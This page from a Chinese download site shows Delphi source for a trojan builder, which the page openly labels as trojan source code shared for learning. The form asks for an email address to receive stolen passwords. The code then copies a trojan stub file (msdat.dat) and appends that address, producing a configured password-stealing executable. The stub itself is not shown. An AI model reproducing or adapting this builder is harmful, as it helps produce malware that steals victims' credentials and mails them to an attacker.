⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitmain.~pas

📁 一个木马的源程序。希望大家可以一起通过它来学习一此东西
💻 ~PAS
字号:
{
源码天空保留对该源码的权利
http://www.codesky.net
}
unit UnitMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    BtnCreatExe: TButton;
    Label1: TLabel;
    EdtEmail: TEdit;
    Button1: TButton;
    SaveDialog1: TSaveDialog;
    Image1: TImage;
    procedure BtnCreatExeClick(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
uses UnitAbout;
{$R *.dfm}

procedure TForm1.BtnCreatExeClick(Sender: TObject);
var
  Target:TFilestream;
  email:String;
  emailSize:Integer;
  WSize:integer;
  desfile:String;
  bootpath:String;
begin
  if EdtEmail.Text='' then begin
    application.MessageBox('请输入接收密码邮箱地址!','提示');
    EdtEmail.SetFocus;
    exit;
  end;
  bootpath:=extractfilepath(application.Exename);
  email:=EdtEmail.Text;
  if Not fileexists(bootpath+'\msdat.dat') then begin
    application.MessageBox('木马数据文件丢失,无法进行该操作!','发生错误');
    exit;
  end;

  if SaveDialog1.Execute then begin
    desfile:=SaveDialog1.FileName;
  end;
  if desfile<>'' then begin
    copyfile(pchar(bootpath+'\msdat.dat'),pchar(desfile),false)
  end;

  try
    Target := TFilestream.create(desfile, fmOpenWrite or fmShareExclusive);
    Target.Seek(0,soFromEnd);
    WSize:=length(email) + Sizeof(emailSize);
    Target.WriteBuffer(email[1],length(email));
    Target.WriteBuffer(WSize,Sizeof(WSize));
  finally
    Target.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
FrmAbout.ShowModal;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -